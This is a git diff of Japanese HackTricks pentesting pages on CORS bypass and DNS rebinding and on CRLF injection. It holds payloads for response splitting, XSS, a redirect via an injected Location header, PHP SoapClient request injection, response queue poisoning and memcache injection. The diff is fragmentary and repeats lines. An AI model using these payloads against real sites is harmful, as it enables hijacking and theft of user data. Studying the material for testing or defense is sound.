[**異なるXSSIのタイプとそれらをどのように悪用するかについて詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md) [**異なるXSSIのタイプとそれらをどのように悪用するかについて詳しく読むにはこちらをクリックしてください。**](xssi-cross-site-script-inclusion.md)
@ -276,7 +265,7 @@ XSSI、またはCross-Site Script Inclusionとしても知られる脆弱性は
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーが効果的にバイパスされます。以下はXMLHttpRequestを使用した使用例です。 1. [**CORS-escape**](https://github.com/shalvah/cors-escape): このツールは、リクエストとそのヘッダーを転送するプロキシを提供し、同時にOriginヘッダーをリクエストされたドメインに一致するようにスプーフィングします。これにより、CORSポリシーが効果的にバイパスされます。以下はXMLHttpRequestを使用した使用例です。
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行ます。 2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): このツールは、リクエストをそのまま渡す代わりに、サーバーが指定されたパラメータで独自のリクエストを行う方法を提供します。
### Iframe + Popup バイパス ### Iframe + Popup バイパス
@ -292,7 +281,7 @@ TTL経由のDNSリバインディングは、DNSレコードを操作して特
1. 攻撃者はWebページを作成し、被害者にアクセスさせます。 1. 攻撃者はWebページを作成し、被害者にアクセスさせます。
2. 攻撃者は自分のドメインのDNSIPを被害者のWebページを指すように変更します。 2. 攻撃者は自分のドメインのDNSIPを被害者のWebページを指すように変更します。
3. 被害者のブラウザはDNS応答をキャッシュし、DNSレコードが有効であるべき期間を示すTTLTime to Live値を持つ場合があります。 3. 被害者のブラウザはDNS応答をキャッシュし、DNSレコードが有効であるべき期間を示すTTLTime to Live値を持つことがあります。
4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者は被害者のページでJavaScriptコードを実行できます。 4. TTLが切れると、被害者のブラウザは新しいDNSリクエストを行い、攻撃者は被害者のページでJavaScriptコードを実行できます。
5. 被害者のIPを制御し続けることで、攻撃者は被害者にクッキーを送信せずに情報を収集できます。 5. 被害者のIPを制御し続けることで、攻撃者は被害者にクッキーを送信せずに情報を収集できます。
@ -300,36 +289,36 @@ TTL経由のDNSリバインディングは、DNSレコードを操作して特
DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーやボットが同じページに長時間滞在するシナリオなど、キャッシュが期限切れになるのを待つ場合に有用です。 DNSリバインディングは、被害者によって実行される明示的なIPチェックをバイパスするためや、ユーザーやボットが同じページに長時間滞在するシナリオなど、キャッシュが期限切れになるのを待つ場合に有用です。
DNSリバインディングサーバーを実行するには、**DNSrebinder**[https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))などのツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードns.example.comを作成し、以前に作成したAサブドメインns.example.comを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、ホストによって解決されます。 DNSリバインディングサーバーを実行するには、**DNSrebinder**[https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)のようなツールを利用できます。これには、ローカルポート53/udpを公開し、それを指すAレコードns.example.comを作成し、以前に作成したAサブドメインns.example.comを指すNSレコードを作成する必要があります。ns.example.comサブドメインの任意のサブドメインは、ホストによって解決されます。
さらに理解と実験のために[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。 さらに理解と実験のために[http://rebind.it/singularity.html](http://rebind.it/singularity.html)で公開されているサーバーを探索することもできます。
### DNSリバインディング経由のDNSキャッシュフラッディング ### DNSリバインディング経由のDNSキャッシュフラッディング
DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するための別の技術です。動作方法は次のとおりです DNSリバインディング経由のDNSキャッシュフラッディングは、ブラウザのキャッシュメカニズムをバイパスし、2回目のDNSリクエストを強制するための別の技術です。動作方法は次のとおりです
1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレスで応答されます。 1. 最初に、被害者がDNSリクエストを行うと、攻撃者のIPアドレスで応答されます。
2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を効果的に削除します。 2. キャッシュ防御をバイパスするために、攻撃者はサービスワーカーを利用します。サービスワーカーはDNSキャッシュをフラッドし、キャッシュされた攻撃者のサーバー名を削除します。
3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1で応答されるようになります。通常、これはlocalhostを指します。 3. 被害者のブラウザが2回目のDNSリクエストを行うと、IPアドレス127.0.0.1で応答されるようになります。通常、これはlocalhostを指します。
サービスワーカーを使用してDNSキャッシュをフラッドすることで、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者が望むIPアドレスに解決させることができます。 サービスワーカーを使用してDNSキャッシュをフラッドすることで、攻撃者はDNS解決プロセスを操作し、被害者のブラウザに2回目のリクエストを行わせ、今度は攻撃者が望むIPアドレスに解決させることができます。
### キャッシュ経由のDNSリバインディング ### キャッシュ経由のDNSリバインディング
キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを用することです。動作方法は次のとおりです: キャッシュ防御をバイパスする別の方法は、DNSプロバイダーで同じサブドメインに複数のIPアドレスを使用することです。動作方法は次のとおりです:
1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコードまたは2つのIPを持つ1つのAレコードを設定します。 1. 攻撃者はDNSプロバイダーで同じサブドメインの2つのAレコードまたは2つのIPを持つ1つのAレコードを設定します。
2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受け取られます。 2. ブラウザがこれらのレコードをチェックすると、両方のIPアドレスが受け取られます。
3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインに対してHTTPリクエストを実行するペイロードを提供できます。 3. ブラウザが最初に攻撃者のIPアドレスを使用することを決定した場合、攻撃者は同じドメインに対してHTTPリクエストを実行するペイロードを提供できます。
4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。 4. ただし、攻撃者が被害者のIPアドレスを取得したら、被害者のブラウザに応答を停止します。
5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。 5. ブラウザは、ドメインが応答しないことを認識すると、2番目に指定されたIPアドレスを使用し始めます。
6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して情報を収集および外部送信することができます。 6. 2番目のIPアドレスにアクセスすることで、ブラウザは同一オリジンポリシーSOPをバイパスし、攻撃者はこれを悪用して情報を収集および外部送信できます。
この技術は、ドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。 この技術は、ドメインに複数のIPアドレスが提供された場合のブラウザの動作を活用します。応答を戦略的に制御し、ブラウザがどのIPアドレスを選択するかを操作することで、攻撃者はSOPを悪用し、被害者から情報にアクセスできます。
{% hint style="warning" %} {% hint style="warning" %}
localhostにアクセスするには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\ localhostにアクセスするためには、Windowsでは **127.0.0.1**、Linuxでは **0.0.0.0** を再バインドする必要があります。\
GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することを許可してくれませんでしたが、AWS Route53は2つのIPを持つ1つのAレコードを作成することを許可してくれました。 godaddyやcloudflareなどのプロバイダーは、IP **0.0.0.0** を使用することを許可してくれませんでしたが、AWS route53では1つのAレコードに2つのIPを指定することができました。
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %} {% endhint %}
@ -338,13 +327,13 @@ GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用す
### その他の一般的なバイパス ### その他の一般的なバイパス
* **内部IPが許可されていない** 場合、LinuxやMacで **0.0.0.0を禁止するのを忘れる** かもしれません。 * **内部IPが許可されていない** 場合、LinuxやMacで **0.0.0.0** を禁止するのを忘れるかもしれません。
* **内部IPが許可されていない** 場合、 **localhost****CNAME** を応答することができますLinuxとMacで動作します * **内部IPが許可されていない** 場合、 **localhost****CNAME** を応答することができますLinuxとMacで動作します
* **内部IPが許可されていない** 場合、DNS応答として **内部サービスへのCNAME** を応答することができます。 * DNS応答として **内部IPが許可されていない** 場合、 **www.corporate.internal** などの **内部サービスへのCNAME** を応答することができます。
### DNSリバインディングの武器化 ### 武器化されたDNSリバインディング
のバイパス技術と次のツールの使用方法については、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)のトークで詳細を確認できます 前のバイパス技術と次のツールの使用方法について詳細に知るには、[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)のトークを参照してください
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNSリバインディング](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity)は、[DNSリバインディング](https://en.wikipedia.org/wiki/DNS\_rebinding)攻撃を実行するためのツールです。攻撃サーバーのDNS名のIPアドレスをターゲットマシンのIPアドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。
@ -373,4 +362,4 @@ GodaddyやCloudflareなどのプロバイダーは、IP **0.0.0.0** を使用す
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors) * [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) * [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https:// * [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
</details> </details>
@ -22,7 +22,7 @@ HackTricksをサポートする他の方法
### CRLF ### CRLF
キャリッジリターンCRとラインフィードLFは、合わせてCRLFとして知られ、HTTPプロトコルで使用される特別な文字シーケンスです。これらは、WebサーバーとブラウザがHTTPヘッダーとレスポンスの本文を区別するために使用します。これらの文字は、ApacheやMicrosoft IISなどのさまざまなWebサーバータイプで一般的に使用されています。 キャリッジリターンCRとラインフィードLFは、合わせてCRLFとして知られ、HTTPプロトコルで使用される特別な文字シーケンスです。これらは、WebサーバーとブラウザがHTTPヘッダーとレスポンスの本文を区別するために使用します。これらの文字は、ApacheやMicrosoft IISなどのさまざまなWebサーバータイプでHTTP/1.1通信で普遍的に使用されています。
### CRLFインジェクション脆弱性 ### CRLFインジェクション脆弱性
@ -30,7 +30,7 @@ CRLFインジェクションは、CRおよびLF文字をユーザー提供の入
### 例ログファイル内のCRLFインジェクション ### 例ログファイル内のCRLFインジェクション
[こからの例](https://www.invicti.com/blog/web-security/crlf-http-header/) [らの例](https://www.invicti.com/blog/web-security/crlf-http-header/)を参照してください。
管理パネル内のログファイルを考えてみましょう。フォーマットは次のようになります:`IP - 時間 - 訪問したパス`。典型的なエントリは次のようになります: 管理パネル内のログファイルを考えてみましょう。フォーマットは次のようになります:`IP - 時間 - 訪問したパス`。典型的なエントリは次のようになります:
``` ```
@ -40,30 +40,28 @@ CRLFインジェクションは、CRおよびLF文字をユーザー提供の入
``` ```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
``` ```
ここでは、`%0d` と `%0a` は CR と LF の URL エンコード形式を表しています。攻撃後、ログには誤解を招くように表示されます: ここでは、`%0d` と `%0a` は CR と LF の URL エンコード形式を表します。攻撃後、ログには誤解を招くように表示されます:
``` ```
IP - Time - Visited Path IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home& 123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
``` ```
攻撃者は、悪意のある活動をローカルホスト(通常、サーバー環境内で信頼されるエンティティ)がアクションを実行したかのように見せかけます。サーバーは、`%0d%0a`で始まるクエリの一部を単一のパラメータとして解釈し、`restrictedaction`パラメータを別の独立した入力として解析します。操作されたクエリは、正当な管理コマンドを模倣する効果的なものとなります:`/index.php?page=home&restrictedaction=edit` ### HTTP レスポンス分割
### HTTPレスポンス分割
#### 説明 #### 説明
HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用する際に生じるセキュリティ脆弱性です。この構造は、特定の文字シーケンス、キャリッジリターンCRに続くラインフィードLFという、CRLFとして総称されるものを使用して、ヘッダーと本文を分離します。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すれば、後続のレスポンスコンテンツを効果的に操作できます。この種の操作は、深刻なセキュリティ問題、特にクロスサイトスクリプティングXSSにつながる可能性があります。 HTTP レスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用する際に生じるセキュリティ脆弱性です。この構造は、特定の文字シーケンス、キャリッジリターンCRに続くラインフィードLFでヘッダーと本文を分離します。これらは合わせてCRLFと呼ばれます。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すれば、後続のレスポンスコンテンツを効果的に操作できます。この種の操作は、深刻なセキュリティ問題、特にクロスサイトスクリプティングXSSにつながる可能性があります。
#### HTTPレスポンス分割を通じたXSS #### HTTP レスポンス分割を通じたXSS
1. アプリケーションは、次のようにカスタムヘッダーを設定します:`X-Custom-Header: UserInput` 1. アプリケーションは、次のようにカスタムヘッダーを設定します:`X-Custom-Header: UserInput`
2. アプリケーションは、`UserInput`の値をクエリパラメータから取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスに続悪意のあるコンテンツを含むペイロードを作成できます。 2. アプリケーションは、`UserInput`の値をクエリパラメータから取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスに続いて悪意のあるコンテンツを含むペイロードを作成できます。
3. 攻撃者は、特別に作成された 'user_input' を含むURLを作成します`?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>` 3. 攻撃者は、特別に作成された 'user_input' を含むURLを作成します`?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させます。 - このURLでは、`%0d%0a%0d%0a` はCRLFCRLFのURLエンコード形式です。これにより、サーバーCRLFシーケンスを挿入し、後続の部分をレスポンス本文として扱うように誤認させられます。
4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造を導きます。 4. サーバーは、攻撃者の入力をレスポンスヘッダーに反映し、悪意のあるスクリプトがブラウザによってレスポンス本文の一部として解釈される意図しないレスポンス構造をもたらします。
#### リダイレクトにつながるHTTPレスポンス分割の例 #### リダイレクトにつながるHTTP レスポンス分割の例
From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
@ -71,7 +69,7 @@ From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-ca
``` ```
/%0d%0aLocation:%20http://myweb.com /%0d%0aLocation:%20http://myweb.com
``` ```
そして、サーバーは次のヘッダーを返します: そして、サーバーは次のヘッダーで応答します:
``` ```
Location: http://myweb.com Location: http://myweb.com
``` ```
@ -92,15 +90,15 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
### HTTPヘッダーインジェクション ### HTTPヘッダーインジェクション
HTTPヘッダーインジェクションは、しばしばCRLFキャリッジリターン改行インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSSクロスサイトスクリプティングフィルターやSOP同一オリジンポリシーなどのセキュリティメカニズムが崩れ、CSRFトークンへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作など、機密データへの不正アクセスが可能となります。 HTTPヘッダーインジェクションは、しばしばCRLFキャリッジリターンおよび改行インジェクションを介して悪用され、攻撃者がHTTPヘッダーを挿入できるようにします。これにより、XSSクロスサイトスクリプティングフィルターやSOP同一オリジンポリシーなどのセキュリティメカニズムが崩れ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作が可能になります。
#### HTTPヘッダーインジェクションを介したCORSの悪用 #### HTTPヘッダーインジェクションを介したCORSの悪用
攻撃者はHTTPヘッダーを注入してCORSクロスオリジンリソース共有を有効にすることができ、SOPによって課された制限を回避します。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。 攻撃者はHTTPヘッダーを注入してCORSクロスオリジンリソース共有を有効にし、SOPによって課せられた制限をバイパスすることができます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースとやり取りし、保護されたデータにアクセスする可能性があります。
#### CRLFを介したSSRFおよびHTTPリクエストインジェクション #### CRLFを介したSSRFおよびHTTPリクエストインジェクション
CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例として、PHPの`SoapClient`クラスにある脆弱性があり、特に`user_agent`パラメータ内に存在します。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です CRLFインジェクションを使用して、完全に新しいHTTPリクエストを作成して挿入することができます。これの注目すべき例は、PHPの`SoapClient`クラスにある脆弱性であり、特に`user_agent`パラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーや本文コンテンツを挿入したり、新しいHTTPリクエストを完全に挿入したりすることができます。以下は、この悪用を示すPHPの例です
```php ```php
$target = 'http://127.0.0.1:9090/test'; $target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value'; $post_string = 'variable=post value';
@ -129,23 +127,23 @@ $client->__soapCall("test", []);
この技術や潜在的な問題についての詳細は、[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。 この技術や潜在的な問題についての詳細は、[**元のソースをチェックしてください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
初期リクエストに応答した後、**バックエンドが接続を維持するようにするために**重要なヘッダーをインジェクトできます。 初期リクエストへの応答後に**バックエンドが接続を維持する**ように、重要なヘッダーをインジェクトできます。
``` ```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
``` ```
**悪用:** **悪用:**
1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを汚染することを含みます。例: 1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで、次のユーザーのリクエストまたはWebキャッシュを毒すことを含みます。例:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **レスポンスキュー汚染のためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストが形成されるプレフィックスを作成することを含みます。これにより、レスポンスキューの汚染が引き起こされる可能性があります。例: 2. **レスポンスキュー毒入れのためのプレフィックスの作成**: このアプローチは、トレイリングジャンクと組み合わせると完全な2番目のリクエストを形成するプレフィックスを作成することを含みます。これにより、レスポンスキューの毒入れが引き起こされる可能性があります。例:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcacheインジェクション ### Memcacheインジェクション
Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照してください: Memcacheは**クリアテキストプロトコルを使用するキーバリューストア**です。詳細は以下を参照:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} {% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/) [11211-memcache](../network-services-pentesting/11211-memcache/)
@ -153,13 +151,13 @@ Memcacheは**クリアテキストプロトコルを使用するキーバリュ
**詳細については**[**元の解説**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **を読んでください** **詳細については**[**元の解説**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **を読んでください**
プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの動作を悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。 プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**それを使用して**memcache**サーバーに**リクエスト**を実行する場合、攻撃者はこの振る舞いを悪用して**新しいmemcacheコマンドをインジェクト**する可能性があります。
たとえば、元の脆弱性が発見された場合、キャッシュキーが使用されてユーザーが接続すべきIPとポートを返し、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを汚染**し、被害者の詳細(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました: たとえば、元の脆弱性が発見された場合、キャッシュキーが使用され、ユーザーが接続すべきIPとポートを返すために使用され、攻撃者は**memcacheコマンドをインジェクト**して**キャッシュを毒し**、被害者の詳細(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました:
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
さらに、研究者は、memcacheの応答をデシンクさせ、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました: さらに、研究者は、memcacheの応答をデシンクさせ、攻撃者が知らないユーザーのIPとポートを攻撃者に送信することができることも発見しました:
<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
@ -171,7 +169,7 @@ WebアプリケーションでのCRLFキャリッジリターンおよびラ
最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。 最も安全なアプローチは、ユーザー提供の入力を直接レスポンスヘッダーに組み込まないことです。
2. **特殊文字のエンコード:** 2. **特殊文字のエンコード:**
直接ユーザー入力を避けることができない場合は、CRキャリッジリターンやLFラインフィードなどの特殊文字をエンコードするための専用の関数を使用してください。この実践により、CRLFインジェクションの可能性を防ぎます。 直接ユーザー入力を避けることができない場合は、CRキャリッジリターンやLFラインフィードなどの特殊文字をエンコードするための専用の関数を使用することを確認してください。この実践により、CRLFインジェクションの可能性を防ぎます。
3. **プログラミング言語の更新:** 3. **プログラミング言語の更新:**
Webアプリケーションで使用されているプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する関数内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。 Webアプリケーションで使用されているプログラミング言語を定期的に最新バージョンに更新してください。HTTPヘッダーを設定する関数内でCRおよびLF文字のインジェクションをデフォルトで許可しないバージョンを選択してください。
@ -213,7 +211,7 @@ Webアプリケーションで使用されているプログラミング言語
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original"> <img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
